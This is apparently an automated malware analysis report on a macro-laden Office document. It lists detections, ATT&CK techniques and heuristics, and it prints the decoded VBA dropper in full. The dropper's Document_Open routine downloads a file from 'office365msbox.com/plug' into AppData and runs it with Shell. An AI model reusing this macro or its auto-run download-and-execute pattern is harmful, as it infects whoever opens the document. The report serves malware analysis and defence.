MALICIOUS
322
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1140 Deobfuscate or Obfuscate Malicious Code
T1059 Command and Scripting Interpreter
The sample contains VBA macros with a Document_Open auto-execution routine. This routine uses CreateObject to instantiate objects and CallByName to execute methods, indicative of a downloader. The script attempts to download a payload from the URL 'http://office365msbox.com/plug' and save it to the AppData directory using a dynamically constructed filename. The presence of the 'SE_ENABLE_LURE' heuristic further supports that the document is designed to trick users into enabling macros.
Heuristics 9
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ClamAV: Doc.Downloader.Olemal-6668035-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Olemal-6668035-0
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VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
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Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
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Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
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CreateObject call high OLE_VBA_CREATEOBJCreateObject call
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CallByName call high OLE_VBA_CALLBYNAMECallByName call
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VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://office365msbox.com/plug In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1363 bytes |
SHA-256: 1290db37b8d8f59bb7a9d4f3d7645e9ed6fd6819e5934040191e5fc206300c5a |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Document_Open()
Dim msOfficeOnlineLeague: Set msOfficeOnlineLeague = CreateObject(UserForm1.Tag)
Dim ck1s: Set ck1s = CreateObject("Adodb.Stream")
msOfficeOnlineLeague.Open "GET", UserForm1.Frame1.Tag, False
msOfficeOnlineLeague.Send
Dim pest
pest = UserForm1.ToggleButton1.Tag + UserForm1.ToggleButton2.Tag
With ck1s
.Type = 1
.Open
End With
With ck1s
.write msOfficeOnlineLeague.responseBody
End With
Const ssfAPPDATA = &H1A
Dim oApp
Set oApp = CreateObject("Shell" & ".Application")
Dim rBit
rBit = oApp.NameSpace(ssfAPPDATA).Self.Path
CallByName ck1s, pest, _
VbMethod, rBit & "\" + UserForm1.Label3, 2
Shell (rBit & "\" + UserForm1.Label3)
End Sub
Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{2164A237-A593-428D-9B0A-9C44CA1E05B4}{82843456-8A5C-49A5-8653-FF0B9FD0910D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
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